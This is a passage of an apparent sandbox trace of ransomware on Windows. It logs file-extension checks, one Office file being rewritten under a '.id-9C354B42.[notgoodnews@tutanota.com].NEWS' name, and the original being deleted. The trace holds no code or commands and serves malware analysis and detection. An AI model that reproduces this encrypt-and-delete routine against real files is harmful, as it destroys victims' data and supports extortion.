lpString2="0.MMW") returned -1 [0267.056] lstrlenW (lpString=".ppt") returned 4 [0267.056] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0267.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.056] lstrlenW (lpString=".zip") returned 4 [0267.056] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0267.056] lstrlenW (lpString=".rar") returned 4 [0267.056] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0267.056] lstrlenW (lpString=".bz2") returned 4 [0267.056] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0267.056] lstrlenW (lpString=".7z") returned 3 [0267.056] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0267.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.057] lstrlenW (lpString=".dbf") returned 4 [0267.057] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0267.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.057] lstrlenW (lpString=".1cd") returned 4 [0267.057] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0267.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned 61 [0267.057] lstrlenW (lpString=".jpg") returned 4 [0267.057] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0267.058] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0267.058] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0267.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0267.059] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=21424) returned 1 [0267.059] CloseHandle (hObject=0x3b0) returned 1 [0267.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll")) returned 0x20 [0267.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0267.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.061] lstrlenW (lpString=".doc") returned 4 [0267.061] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0267.061] lstrlenW (lpString=".docx") returned 5 [0267.061] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0267.061] lstrlenW (lpString=".pdf") returned 4 [0267.062] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0267.062] lstrlenW (lpString=".xls") returned 4 [0267.062] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0267.062] lstrlenW (lpString=".xlsx") returned 5 [0267.062] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0267.062] lstrlenW (lpString=".ppt") returned 4 [0267.062] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0267.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.063] lstrlenW (lpString=".zip") returned 4 [0267.063] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0267.063] lstrlenW (lpString=".rar") returned 4 [0267.063] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0267.063] lstrlenW (lpString=".bz2") returned 4 [0267.063] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0267.063] lstrlenW (lpString=".7z") returned 3 [0267.063] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0267.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.063] lstrlenW (lpString=".dbf") returned 4 [0267.064] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0267.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.064] lstrlenW (lpString=".1cd") returned 4 [0267.064] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0267.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.064] lstrlenW (lpString=".jpg") returned 4 [0267.064] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0267.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.065] lstrlenW (lpString=".doc") returned 4 [0267.065] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0267.066] lstrlenW (lpString=".docx") returned 5 [0267.066] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0267.066] lstrlenW (lpString=".pdf") returned 4 [0267.066] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0267.066] lstrlenW (lpString=".xls") returned 4 [0267.066] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0267.066] lstrlenW (lpString=".xlsx") returned 5 [0267.066] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0267.066] lstrlenW (lpString=".ppt") returned 4 [0267.066] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0267.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.066] lstrlenW (lpString=".zip") returned 4 [0267.067] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0267.067] lstrlenW (lpString=".rar") returned 4 [0267.067] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0267.067] lstrlenW (lpString=".bz2") returned 4 [0267.067] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0267.067] lstrlenW (lpString=".7z") returned 3 [0267.067] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0267.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.067] lstrlenW (lpString=".dbf") returned 4 [0267.067] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0267.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.067] lstrlenW (lpString=".1cd") returned 4 [0267.068] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0267.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0267.068] lstrlenW (lpString=".jpg") returned 4 [0267.068] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0267.068] lstrcmpiW (lpString1=".ACC", lpString2=".NEWS") returned -1 [0267.068] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0267.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0267.069] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=495616) returned 1 [0267.069] CloseHandle (hObject=0x3b0) returned 1 [0267.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0267.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0267.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0267.071] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0267.071] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0267.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0269.803] GetLastError () returned 0x0 [0269.803] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x79000, lpOverlapped=0x0) returned 1 [0270.004] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x79010, lpOverlapped=0x0) returned 1 [0270.473] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.473] WriteFile (in: hFile=0x3b8, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.474] SetEndOfFile (hFile=0x3b8) returned 1 [0270.474] CloseHandle (hObject=0x3b8) returned 1 [0270.474] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.475] SetEndOfFile (hFile=0x3b0) returned 1 [0270.885] CloseHandle (hObject=0x3b0) returned 1 [0270.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.927] lstrlenW (lpString=".doc") returned 4 [0270.927] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0270.927] lstrlenW (lpString=".docx") returned 5 [0270.927] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0270.927] lstrlenW (lpString=".pdf") returned 4 [0270.927] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0270.927] lstrlenW (lpString=".xls") returned 4 [0270.928] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0270.928] lstrlenW (lpString=".xlsx") returned 5 [0270.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0270.928] lstrlenW (lpString=".ppt") returned 4 [0270.928] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0270.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.928] lstrlenW (lpString=".zip") returned 4 [0270.928] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0270.928] lstrlenW (lpString=".rar") returned 4 [0270.928] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0270.928] lstrlenW (lpString=".bz2") returned 4 [0270.928] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0270.928] lstrlenW (lpString=".7z") returned 3 [0270.929] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.929] lstrlenW (lpString=".dbf") returned 4 [0270.929] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.929] lstrlenW (lpString=".1cd") returned 4 [0270.929] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0270.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.929] lstrlenW (lpString=".jpg") returned 4 [0270.929] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0270.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.930] lstrlenW (lpString=".doc") returned 4 [0270.930] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0270.930] lstrlenW (lpString=".docx") returned 5 [0270.930] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0270.930] lstrlenW (lpString=".pdf") returned 4 [0270.930] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0270.930] lstrlenW (lpString=".xls") returned 4 [0270.930] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0270.931] lstrlenW (lpString=".xlsx") returned 5 [0270.931] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0270.931] lstrlenW (lpString=".ppt") returned 4 [0270.931] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0270.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.931] lstrlenW (lpString=".zip") returned 4 [0270.931] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0270.931] lstrlenW (lpString=".rar") returned 4 [0270.931] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0270.931] lstrlenW (lpString=".bz2") returned 4 [0270.931] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0270.932] lstrlenW (lpString=".7z") returned 3 [0270.932] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0270.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.932] lstrlenW (lpString=".dbf") returned 4 [0270.932] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0270.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.932] lstrlenW (lpString=".1cd") returned 4 [0270.932] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0270.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0270.932] lstrlenW (lpString=".jpg") returned 4 [0270.932] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0270.933] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0270.933] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0270.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.935] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=12176) returned 1 [0270.936] CloseHandle (hObject=0x3cc) returned 1 [0270.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0270.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.937] lstrlenW (lpString=".doc") returned 4 [0270.937] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0270.937] lstrlenW (lpString=".docx") returned 5 [0270.937] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0270.937] lstrlenW (lpString=".pdf") returned 4 [0270.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0270.937] lstrlenW (lpString=".xls") returned 4 [0270.937] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0270.938] lstrlenW (lpString=".xlsx") returned 5 [0270.938] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0270.938] lstrlenW (lpString=".ppt") returned 4 [0270.938] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0270.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.938] lstrlenW (lpString=".zip") returned 4 [0270.938] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0270.938] lstrlenW (lpString=".rar") returned 4 [0270.938] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0270.938] lstrlenW (lpString=".bz2") returned 4 [0270.938] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0270.938] lstrlenW (lpString=".7z") returned 3 [0270.938] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0270.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.939] lstrlenW (lpString=".dbf") returned 4 [0270.939] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0270.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.939] lstrlenW (lpString=".1cd") returned 4 [0270.939] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0270.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.939] lstrlenW (lpString=".jpg") returned 4 [0270.939] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0270.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.939] lstrlenW (lpString=".doc") returned 4 [0270.940] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0270.940] lstrlenW (lpString=".docx") returned 5 [0270.940] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0270.940] lstrlenW (lpString=".pdf") returned 4 [0270.940] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0270.940] lstrlenW (lpString=".xls") returned 4 [0270.940] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0270.940] lstrlenW (lpString=".xlsx") returned 5 [0270.940] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0270.940] lstrlenW (lpString=".ppt") returned 4 [0270.940] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0270.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.940] lstrlenW (lpString=".zip") returned 4 [0270.941] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0270.941] lstrlenW (lpString=".rar") returned 4 [0270.941] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0270.941] lstrlenW (lpString=".bz2") returned 4 [0270.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0270.941] lstrlenW (lpString=".7z") returned 3 [0270.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0270.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.941] lstrlenW (lpString=".dbf") returned 4 [0270.941] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0270.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.941] lstrlenW (lpString=".1cd") returned 4 [0270.941] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0270.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0270.942] lstrlenW (lpString=".jpg") returned 4 [0270.942] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0270.942] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0270.942] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0270.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.943] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=19880) returned 1 [0270.943] CloseHandle (hObject=0x3cc) returned 1 [0270.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0270.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.945] lstrlenW (lpString=".doc") returned 4 [0270.945] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0270.945] lstrlenW (lpString=".docx") returned 5 [0270.945] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0270.945] lstrlenW (lpString=".pdf") returned 4 [0270.945] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0270.945] lstrlenW (lpString=".xls") returned 4 [0270.945] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0270.945] lstrlenW (lpString=".xlsx") returned 5 [0270.945] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0270.945] lstrlenW (lpString=".ppt") returned 4 [0270.946] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.946] lstrlenW (lpString=".zip") returned 4 [0270.946] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0270.946] lstrlenW (lpString=".rar") returned 4 [0270.946] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0270.946] lstrlenW (lpString=".bz2") returned 4 [0270.946] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0270.946] lstrlenW (lpString=".7z") returned 3 [0270.946] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0270.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.946] lstrlenW (lpString=".dbf") returned 4 [0270.946] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.947] lstrlenW (lpString=".1cd") returned 4 [0270.947] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.947] lstrlenW (lpString=".jpg") returned 4 [0270.947] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.947] lstrlenW (lpString=".doc") returned 4 [0270.947] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0270.947] lstrlenW (lpString=".docx") returned 5 [0270.948] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0270.948] lstrlenW (lpString=".pdf") returned 4 [0270.948] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0270.948] lstrlenW (lpString=".xls") returned 4 [0270.948] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0270.948] lstrlenW (lpString=".xlsx") returned 5 [0270.948] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0270.948] lstrlenW (lpString=".ppt") returned 4 [0270.948] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0270.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.948] lstrlenW (lpString=".zip") returned 4 [0270.948] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0270.948] lstrlenW (lpString=".rar") returned 4 [0270.949] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0270.949] lstrlenW (lpString=".bz2") returned 4 [0270.949] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0270.953] lstrlenW (lpString=".7z") returned 3 